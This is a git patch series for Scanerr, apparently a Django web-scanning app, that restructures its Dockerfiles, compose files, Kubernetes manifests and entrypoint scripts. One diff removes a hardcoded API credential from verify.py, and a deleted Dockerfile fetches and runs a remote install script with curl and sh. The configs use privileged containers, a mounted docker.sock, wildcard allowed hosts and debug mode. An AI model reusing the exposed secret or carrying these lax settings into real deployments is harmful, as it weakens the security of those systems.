-    npm install -g n && \
-    n lts
-
-# cleaning npm
-RUN npm cache clean --force
-
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
-
-# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN google-chrome --no-sandbox --version
-RUN google-chrome --disable-dev-shm-usage --version
-
-# installing requirements
-COPY ./requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
-
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/google-chrome
-
-# removing chromium config
-# RUN rm -rf ~/.config/chromium
\ No newline at end of file
diff --git a/Dockerfile.stage b/Dockerfile.local
similarity index 85%
rename from Dockerfile.stage
rename to Dockerfile.local
index 476510e4..18ff2646 100644
--- a/Dockerfile.stage
+++ b/Dockerfile.local
@@ -39,7 +39,7 @@ RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
-# telling phantomas where Chromium binary is and that we're in docker
+# telling phantomas where Chrome binary is and that we're in docker
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
 ENV DOCKERIZED yes
 
@@ -48,7 +48,7 @@ RUN google-chrome-stable --no-sandbox --version
 
 # installing requirements
 RUN python3 -m pip install --break-system-packages --upgrade setuptools
-COPY ./requirements.txt /requirements-staging.txt
+COPY ./setup/requirements/requirements-staging.txt /requirements-staging.txt
 RUN python3 -m pip install --break-system-packages -r /requirements-staging.txt
 
 # setting working dir
@@ -58,4 +58,8 @@ WORKDIR /app
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/google-chrome-stable
\ No newline at end of file
+RUN chown -R app:app /usr/bin/google-chrome-stable
+
+# staring up services
+COPY ./setup/scripts/local-entrypoint.sh "/local-entrypoint.sh"
+ENTRYPOINT [ "/local-entrypoint.sh" ]
diff --git a/Dockerfile.old b/Dockerfile.old
deleted file mode 100644
index 4b0c7dd4..00000000
--- a/Dockerfile.old
+++ /dev/null
@@ -1,74 +0,0 @@
-FROM python:3.9-slim
-ENV PYTHONUNBUFFERED 1
-
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
-# increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=2000
-ENV NODE_OPTIONS="--max-old-space-size=2000"
-ENV GENERATE_SOURCEMAP=false
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
-
-# create the app user
-RUN addgroup --system app && adduser --system app 
-
-# installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
-
-# installing system deps
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig 
-
-# installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git  \ 
-    libatk-bridge2.0-0 gconf-service libasound2 make \ 
-    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
-    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
-    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
-    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
-    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
-    -y --force-yes > /dev/null 2>&1
-
-# installing node and npm --> n lts
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n \
-    && n lts
-
-# cleaning npm
-RUN npm cache clean --force
-
-# installing more yellowlab stuff
-RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
-
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
-
-# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN chromium --no-sandbox --version
-RUN chromium --disable-dev-shm-usage  --version
-
-# installing requirements
-COPY ./requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
-
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
-
-# removing chromium config
-RUN rm -rf ~/.config/chromium
-
-# install docker
-RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8bb35e3d..f28d2ee9 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -15,14 +15,14 @@ class AutoCaser():
 
 
     def __init__(
-        self, 
-        site,
-        process,
-        start_url: str=None,
-        configs: dict=settings.CONFIGS,
-        max_cases: int=4, 
-        max_layers: int=5,
-    ):
+            self, 
+            site,
+            process,
+            start_url: str=None,
+            configs: dict=settings.CONFIGS,
+            max_cases: int=4, 
+            max_layers: int=5,
+        ):
          
         # main objects & configs
         self.site = site
@@ -131,14 +131,13 @@ def __init__(
 
 
 
-
     def update_process(
-        self, 
-        current: int, 
-        total: int, 
-        complete: bool=False, 
-        exception: str=None
-    ) -> object:
+            self, 
+            current: int, 
+            total: int, 
+            complete: bool=False, 
+            exception: str=None
+        ) -> object:
         # calculate the current progress of the
         # task based on current iteration and total 
         # iterations expected
@@ -638,7 +637,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         'elements': None,
                     })
 
-
             # save elem data
             elements.append({
                 'selector': form_selector,
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 1cd44037..bfa37657 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -13,7 +13,7 @@ async def driver_init(
     sizes = window_size.split(',')
 
     options = {
-        'executablePath': os.environ.get('CHROMIUM'),
+        'executablePath': os.environ.get('CHROME_BROWSER'),
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index fbf6ec3f..c0f1b639 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -34,7 +34,7 @@ def driver_init(
 
     # chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
-    options.binary_location = os.environ.get('CHROMIUM')
+    options.binary_location = os.environ.get('CHROME_BROWSER')
     options.add_argument("--no-sandbox")
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index 4a603131..e3f5294d 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -4,7 +4,7 @@ def verify():
     username = os.environ.get('ADMIN_USER')
     email = os.environ.get('ADMIN_EMAIL')
     password = os.environ.get('ADMIN_PASS')
-    cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792'
+    cred = os.environ.get('CRED')
     url = 'https://scanerr.io/api/verify'
 
     headers = {
diff --git a/commands b/commands.md
similarity index 86%
rename from commands
rename to commands.md
index 0c83bd99..d40af608 100644
--- a/commands
+++ b/commands.md
@@ -1,8 +1,8 @@
 ### spins up container on localhost ###
-docker compose up --build
+docker compose -f docker-compose.local.yml up --build
 
 ### spins down container on localhost ###
-docker compose down
+docker compose -f docker-compose.local.yml down
 
 
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 9c26c0fa..bbdb4a6d 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -1,86 +1,68 @@
-version: '3'
-
 services:
+
   app:
     container_name: scanerr-app
+    hostname: scanerr-app
+    restart: always
     privileged: true
     init: true
     build:
       context: .
       dockerfile: Dockerfile
-    volumes:
-      - ./app:/app
-      - static_volume:/app/static
-    command: >
-      sh -c "python3 manage.py wait_for_db &&
-             python3 manage.py makemigrations  --no-input &&
-             python3 manage.py migrate  --no-input &&
-             python3 manage.py collectstatic --no-input &&
-             python3 manage.py create_admin &&
-             python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test &&
-             gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
+    entrypoint: ["/remote-entrypoint.sh", "app"]
     expose:
       - 8000
     env_file:
       - ./env/.env.dev
-    
+    volumes:
+      - ./app:/app
+      - static_volume:/app/static
+    depends_on:
+      - db
 
+  
   db:
-    image: postgres:10-alpine
+    container_name: scanerr-db
+    hostname: scanerr-db
+    image: postgres:14-alpine
     ports:
       - "5432"
     env_file:
       - ./env/.env.dev
     volumes: 
       - pgdata:/var/lib/postgresql/data
-    
 
 
   redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
     image: redis:alpine
     ports:
       - "6379"
-    
 
 
   celery:
     container_name: scanerr-celery
+    hostname: scanerr-celery
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    command: >
-      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
-    volumes:
-      - ./app:/scanerr
+    entrypoint: ["/remote-entrypoint.sh", "celery"]
     env_file:
       - ./env/.env.dev
+    volumes:
+      - ./app:/scanerr
     depends_on:
       - redis
       - app
       - db
-    
 
-    
-  yellowlab:
-    container_name: yellowlab
-    privileged: true
-    restart: always
-    image: scanerr/ylt
-    ports:
-      - 8383:8383
-    depends_on:
-      - redis
-      - celery 
-      - app
-      - db
-    
-      
 
   nginx-proxy:
     container_name: nginx-proxy
+    hostname: nginx-proxy
     build: nginx
     restart: always
     ports:
@@ -97,9 +79,12 @@ services:
   
   
   nginx-proxy-letsencrypt:
-    image: nginxproxy/acme-companion  # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion 
-    env_file:
-      - ./env/.env.prod.proxy-companion
+    container_name: nginx-proxy-letsencrypt
+    hostname: nginx-proxy-letsencrypt
+    image: nginxproxy/acme-companion
+    environment:
+      - DEFAULT_EMAIL=youremail@yourdomain.com
+      - NGINX_PROXY_CONTAINER=nginx-proxy
     volumes:
       - /var/run/docker.sock:/var/run/docker.sock:ro
       - certs:/etc/nginx/certs
@@ -113,8 +98,7 @@ services:
 volumes:
   static_volume:
   letsencrypt-acme:
+  pgdata:
   certs:
   html:
-  vhost:
-  pgdata:
-  yellowlab:
\ No newline at end of file
+  vhost:
\ No newline at end of file
diff --git a/docker-compose.yml b/docker-compose.local.yml
similarity index 54%
rename from docker-compose.yml
rename to docker-compose.local.yml
index 2fb0dbfb..b5b059da 100644
--- a/docker-compose.yml
+++ b/docker-compose.local.yml
@@ -1,7 +1,8 @@
-version: '3'
 services:
   
   app:
+    container_name: scanerr-app
+    hostname: scanerr-app
     privileged: true
     init: true
     restart: always
@@ -10,43 +11,42 @@ services:
       dockerfile: Dockerfile.local
     ports:
       - "8000:8000"
-    volumes:
-      - ./app:/app
-    command: >
-      sh -c "python3 manage.py wait_for_db &&
-             python3 manage.py makemigrations  --no-input &&
-             python3 manage.py migrate --no-input &&
-             python3 manage.py collectstatic --no-input &&
-             python3 manage.py create_admin &&
-             python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test && 
-             python3 manage.py runserver 0.0.0.0:8000"
+    entrypoint: ["/local-entrypoint.sh", "app"]
     env_file:
       - ./env/.env.local
+    volumes:
+      - ./app:/app
     depends_on:
       - db
 
+
   db:
-    image: postgres:10-alpine
-    ports:
-      - "5432"
+    container_name: scanerr-db
+    hostname: scanerr-db
+    image:  postgres:14-alpine
     env_file:
       - ./env/.env.local
     volumes: 
       - pgdata:/var/lib/postgresql/data
   
+
   redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
     image: redis:alpine
     ports:
       - "6379"
   
+
   celery:
+    container_name: scanerr-celery
+    hostname: scanerr-celery
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile.local
-    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
+    entrypoint: ["/local-entrypoint.sh", "celery"]
     volumes:
       - ./app:/scanerr
     env_file:
@@ -56,5 +56,21 @@ services:
       - redis
       - app
 
+
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
 volumes:
   pgdata:
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index bde8193d..72b39c1d 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -1,55 +1,68 @@
-version: '3'
-
 services:
+
   app:
+    container_name: scanerr-app
+    hostname: scanerr-app
     restart: always
     privileged: true
     init: true
     build:
       context: .
       dockerfile: Dockerfile
-    # image: landonr/scanerr-server
+    entrypoint: ["/remote-entrypoint.sh", "app"]
+    expose:
+      - 8000
+    env_file:
+      - ./env/.env.prod
     volumes:
       - ./app:/app
       - static_volume:/app/static
-    command: >
-      sh -c "python3 manage.py wait_for_db &&
-             python3 manage.py makemigrations  --no-input &&
-             python3 manage.py migrate  --no-input &&
-             python3 manage.py collectstatic --no-input &&
-             python3 manage.py create_admin &&
-             python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test && 
-             gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
-    expose:
-      - 8000
+    depends_on:
+      - db
+
+  
+  db:
+    container_name: scanerr-db
+    hostname: scanerr-db
+    image: postgres:14-alpine
+    ports:
+      - "5432"
     env_file:
       - ./env/.env.prod
+    volumes: 
+      - pgdata:/var/lib/postgresql/data
+
 
   redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
     image: redis:alpine
     ports:
       - "6379"
 
+
   celery:
+    container_name: scanerr-celery
+    hostname: scanerr-celery
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    # image: landonr/scanerr-server
-    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
-    volumes:
-      - ./app:/scanerr
+    entrypoint: ["/remote-entrypoint.sh", "celery"]
     env_file:
       - ./env/.env.prod
+    volumes:
+      - ./app:/scanerr
     depends_on:
       - redis
       - app
+      - db
 
 
   nginx-proxy:
     container_name: nginx-proxy
+    hostname: nginx-proxy
     build: nginx
     restart: always
     ports:
@@ -66,9 +79,12 @@ services:
   
   
   nginx-proxy-letsencrypt:
-    image: nginxproxy/acme-companion  # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion 
-    env_file:
-      - ./env/.env.prod.proxy-companion
+    container_name: nginx-proxy-letsencrypt
+    hostname: nginx-proxy-letsencrypt
+    image: nginxproxy/acme-companion
+    environment:
+      - DEFAULT_EMAIL=youremail@yourdomain.com
+      - NGINX_PROXY_CONTAINER=nginx-proxy
     volumes:
       - /var/run/docker.sock:/var/run/docker.sock:ro
       - certs:/etc/nginx/certs
@@ -82,6 +98,7 @@ services:
 volumes:
   static_volume:
   letsencrypt-acme:
+  pgdata:
   certs:
   html:
   vhost:
\ No newline at end of file
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 9004e24e..9ddd10ea 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -1,40 +1,43 @@
-version: '3'
+
+
+
 services:
   
   app:
+    container_name: scanerr-app
+    hostname: scanerr-app
     privileged: true
     init: true
     restart: always
     build:
-      dockerfile: Dockerfile.stage
+      context: .
+      dockerfile: Dockerfile.local
     ports:
       - "8000:8000"
     volumes:
       - ./app:/app
-    command: >
-      sh -c "python3 manage.py wait_for_db &&
-             python3 manage.py makemigrations  --no-input &&
-             python3 manage.py migrate --no-input &&
-             python3 manage.py collectstatic --no-input &&
-             python3 manage.py create_admin &&
-             python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test && 
-             python3 manage.py runserver 0.0.0.0:8000"
+    entrypoint: ["/local-entrypoint.sh", "app"]
     env_file:
       - ./env/.env.stage
   
+
+
   redis:
     image: redis:alpine
     ports:
       - "6379"
   
+
+
   celery:
+    container_name: scanerr-celery
+    hostname: scanerr-celery
     privileged: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.stage
-    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
+      dockerfile: Dockerfile.local
+    entrypoint: ["/local-entrypoint.sh", "celery"]
     volumes:
       - ./app:/scanerr
     env_file:
diff --git a/env/.env.dev.example b/env/.env.dev.example
index 2161de15..f642b2d1 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -8,6 +8,7 @@ LETSENCRYPT_HOST = api.example.io                   # example
 VIRTUAL_HOST = api.example.io                       # example
 VIRTUAL_PORT = 8000
 DJANGO_ALLOWED_HOSTS = *
+DEBUG = True
 
 
 # admin credentials  
@@ -29,15 +30,11 @@ DB_HOST=db
 DB_NAME=app
 DB_USER=postgres
 DB_PASS=supersecretpassword
-POSTGRES_DB=app
-POSTGRES_USER=postgres
-POSTGRES_PASSWORD=supersecretpassword
 
 
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
-GOOGLECHROME = /usr/bin/google-chrome
-CHROMIUM = /usr/bin/chromium
+CHROME_BROWSER = /usr/bin/chromium
 
 
 # stripe keys
@@ -87,4 +84,9 @@ AWS_S3_REGION_NAME = sfo3                   # example
 AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
 AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
 AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
\ No newline at end of file
+AWS_DEFAULT_ACL = public-read
+
+
+
+# Self Hosted Cred
+CRED = ask-for-this-cred-before-deploying
\ No newline at end of file
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 6bca933e..fa74795b 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -33,8 +33,7 @@ DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com  # example
 
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
-GOOGLECHROME = /usr/bin/google-chrome
-CHROMIUM = /usr/bin/chromium
+CHROME_BROWSER = /usr/bin/chromium
 
 
 # stripe keys
@@ -85,4 +84,11 @@ AWS_S3_REGION_NAME = sfo3                   # example
 AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
 AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
 AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
\ No newline at end of file
+AWS_DEFAULT_ACL = public-read
+
+
+# Self Hosted Cred
+CRED = ask-for-this-cred-before-deploying
+
+
+
diff --git a/env/.env.prod.proxy-companion b/env/.env.prod.proxy-companion
deleted file mode 100644
index 085d84bf..00000000
--- a/env/.env.prod.proxy-companion
+++ /dev/null
@@ -1,2 +0,0 @@
-DEFAULT_EMAIL=youremail@yourdomain.com
-NGINX_PROXY_CONTAINER=nginx-proxy
\ No newline at end of file
diff --git a/env/.env.stage.example b/env/.env.stage.example
index deea058a..e79c8a99 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -6,6 +6,7 @@ API_URL_ROOT = http://localhost:8000
 YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383
 LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 DJANGO_ALLOWED_HOSTS = *
+DEBUG = True
 
 
 # admin credentials 
@@ -23,19 +24,15 @@ EMAIL_HOST_PASSWORD = 1234456677888     # example
 
 
 # database configs
-DB_HOST=db
-DB_NAME=app
-DB_USER=postgres
-DB_PASS=supersecretpassword
-POSTGRES_DB=app
-POSTGRES_USER=postgres
-POSTGRES_PASSWORD=supersecretpassword
+DB_HOST = db
+DB_NAME = app
+DB_USER = postgres
+DB_PASS = supersecretpassword
 
 
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
-GOOGLECHROME = /usr/bin/google-chrome
-CHROMIUM = /usr/bin/chromium
+CHROME_BROWSER = /usr/bin/google-chrome
 
 
 # stripe keys
@@ -83,4 +80,10 @@ AWS_S3_REGION_NAME = sfo3                   # example
 AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
 AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
 AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
\ No newline at end of file
+AWS_DEFAULT_ACL = public-read
+
+
+# Self Hosted Cred
+CRED = ask-for-this-cred-before-deploying
+
+
diff --git a/k8s/prod/app-configs-example.yaml b/k8s/prod/app-configs-example.yaml
new file mode 100644
index 00000000..b8022016
--- /dev/null
+++ b/k8s/prod/app-configs-example.yaml
@@ -0,0 +1,72 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: app-configs
+data:
+  # django
+  SECRET_KEY : "ask-for-this-or-generate-yourself"
+  CLIENT_URL_ROOT : "https://app.yourdomain.com"
+  API_URL_ROOT : "https://api.yourdomain.com"  
+  YELLOWLAB_ROOT : "http://ylt-service"
+  LIGHTHOUSE_ROOT : "https://www.googleapis.com/pagespeedonline/v5/runPagespeed"
+  LANDING_API_KEY : ""
+  LANDING_API_ROOT : "https://yourdomain.com"
+  LETSENCRYPT_HOST : "api.yourdomain.com"         
+  VIRTUAL_HOST : "api.yourdomain.com"            
+  VIRTUAL_PORT : "8000"
+  DJANGO_ALLOWED_HOSTS : "*"
+  # admin credentials  
+  ADMIN_USER : "admin_user"              
+  ADMIN_PASS : "f4k3P455w0rd"     
+  ADMIN_EMAIL : "your@email.com" 
+  # email credentials
+  EMAIL_HOST : "smtp.gmail.com"
+  EMAIL_PORT : "587"
+  EMAIL_USE_TLS : "True"
+  EMAIL_HOST_USER : "your@email.com"
+  EMAIL_HOST_PASSWORD : "your-email-password"
+  # database
+  DB_HOST : "<your-remote-db-host>"
+  DB_NAME : "k8s-pool"
+  DB_PASS : "<your-remote-db-password>"
+  DB_PORT : "25061"
+  DB_USER : "<your-remote-db-user>"
+  # paths
+  CHROMEDRIVER : "/usr/bin/chromedriver"
+  CHROME_BROWSER : "/usr/bin/chromium"
+  # stripe keys
+  STRIPE_PUBLIC_TEST : "pk_test_<your-key>" 
+  STRIPE_PRIVATE_TEST : "sk_test_<your-key>" 
+  STRIPE_PUBLIC_LIVE : "pk_live_<your-key>" 
+  STRIPE_PRIVATE_LIVE : "sk_live_<your-key>"
+  STRIPE_ENV : "prod"
+  # google keys
+  GOOGLE_CRUX_KEY : "<your-own-key>"
+  # OAuth keys
+  GOOGLE_OAUTH2_CLIENT_ID : "<your-own-key>" 
+  GOOGLE_OAUTH2_CLIENT_SECRET : "<your-own-key>" 
+  # twilio credentials
+  TWILIO_SID : "<your-own-key>" 
+  TWILIO_AUTH_TOKEN : "<your-own-key>" 
+  TWILIO_NUMBER : "+<your-own-number>"
+  # sendgrid configs
+  SENDGRID_API_KEY : "<your-own-key>" 
+  DEFAULT_TEMPLATE : "<your-own-key>" 
+  DEFAULT_TEMPLATE_NO_BUTTON : "<your-own-key>" 
+  AUTOMATION_TEMPLATE : "<your-own-key>" 
+  # slack credentials
+  SLACK_APP_ID : "<your-own-key>" 
+  SLACK_CLIENT_ID : "<your-own-key>" 
+  SLACK_CLIENT_SECRET : "<your-own-key>" 
+  SLACK_SIGNING_SECRET : "<your-own-key>" 
+  SLACK_VERIFICATION_TOKEN : "<your-own-key>" 
+  SLACK_BOT_TOKEN : "<your-own-key>" 
+  # s3 remote storage credentials
+  AWS_ACCESS_KEY_ID : "<your-own-key>" 
+  AWS_SECRET_ACCESS_KEY : "<your-own-key>"
+  AWS_STORAGE_BUCKET_NAME : "<your-own-bucket-name>"   
+  AWS_S3_REGION_NAME : "sfo3"                   
+  AWS_S3_ENDPOINT_URL : "https://sfo3.digitaloceanspaces.com"            
+  AWS_S3_URL_PATH : "https://<your-own-bucket-name>.sfo3.digitaloceanspaces.com"
+  AWS_LOCATION : "static"
+  AWS_DEFAULT_ACL : "public-read"
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index aed55a57..80aa4b47 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -22,18 +22,19 @@ spec:
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
-          command: ["/bin/sh", "-c"]
-          args: 
-            - > 
-                python3 manage.py wait_for_db &&
-                python manage.py showmigrations &&
-                python3 manage.py makemigrations --no-input &&
-                python3 manage.py migrate --no-input &&
-                python3 manage.py collectstatic --no-input &&
-                python3 manage.py create_admin &&
-                python3 manage.py driver_s_test &&
-                python3 manage.py driver_p_test &&
-                gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+          command: ["/remote-entrypoint.sh", "app"]
+          # command: ["/bin/sh", "-c"]
+          # args: 
+          #   - > 
+          #       python3 manage.py wait_for_db &&
+          #       python manage.py showmigrations &&
+          #       python3 manage.py makemigrations --no-input &&
+          #       python3 manage.py migrate --no-input &&
+          #       python3 manage.py collectstatic --no-input &&
+          #       python3 manage.py create_admin &&
+          #       python3 manage.py driver_s_test &&
+          #       python3 manage.py driver_p_test &&
+          #       gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
             
           envFrom:
             - configMapRef:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index ba431c66..387464a0 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -21,7 +21,8 @@ spec:
         - name: celery
           image:  <IMAGE> # landonr/scanerr-server:a5f30cb # 
           imagePullPolicy: Always
-          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
+          command: ["/remote-entrypoint.sh", "celery"]
+          # command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/requirements-staging.txt b/setup/requirements/requirements-staging.txt
similarity index 100%
rename from requirements-staging.txt
rename to setup/requirements/requirements-staging.txt
diff --git a/requirements.txt b/setup/requirements/requirements.txt
similarity index 100%
rename from requirements.txt
rename to setup/requirements/requirements.txt
diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
new file mode 100755
index 00000000..8a565799
--- /dev/null
+++ b/setup/scripts/local-entrypoint.sh
@@ -0,0 +1,22 @@
+#!/bin/bash
+
+# spin up app in local env
+if [[ $1 == *"app"* ]]
+then 
+  python3 manage.py wait_for_db && 
+  python3 manage.py makemigrations  --no-input &&
+  python3 manage.py migrate --no-input &&
+  python3 manage.py collectstatic --no-input &&
+  python3 manage.py create_admin &&
+  python3 manage.py driver_s_test &&
+  python3 manage.py driver_p_test &&
+  python3 manage.py runserver 0.0.0.0:8000
+fi
+
+# spin up acelerypp in local env
+if [[ $1 == *"celery"* ]]
+then
+  python3 manage.py wait_for_db && 
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr worker --beat --scheduler django --loglevel=info
+fi
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
new file mode 100755
index 00000000..678dbae4
--- /dev/null
+++ b/setup/scripts/remote-entrypoint.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+
+# spin up app in remote env
+if [[ $1 == *"app"* ]]
+then 
+  python3 manage.py wait_for_db && python3 manage.py makemigrations  --no-input &&
+  python3 manage.py migrate --no-input &&
+  python3 manage.py collectstatic --no-input &&
+  python3 manage.py create_admin &&
+  python3 manage.py driver_s_test &&
+  python3 manage.py driver_p_test &&
+  gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+fi
+
+# spin up celery in remote env
+if [[ $1 == *"celery"* ]]
+then
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr worker --beat --scheduler django --loglevel=info
+fi

From 6eaaea867d3f0e9bcb17a2dcba4db8bb2169b310 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:12:15 -0600
Subject: [PATCH 548/752] changed path of requirements.txt

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 9dc3208c..c8179fce 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -41,7 +41,7 @@ RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version
 
 # installing requirements
-COPY ./requirements.txt /requirements.txt
+COPY ./setup/requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
 # Set up the Chromium environment

From 14ea6003d5b31f0abded627f68dddaa10233651e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:15:20 -0600
Subject: [PATCH 549/752] still fixing new paths

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index c8179fce..6ae05831 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -41,7 +41,7 @@ RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version
 
 # installing requirements
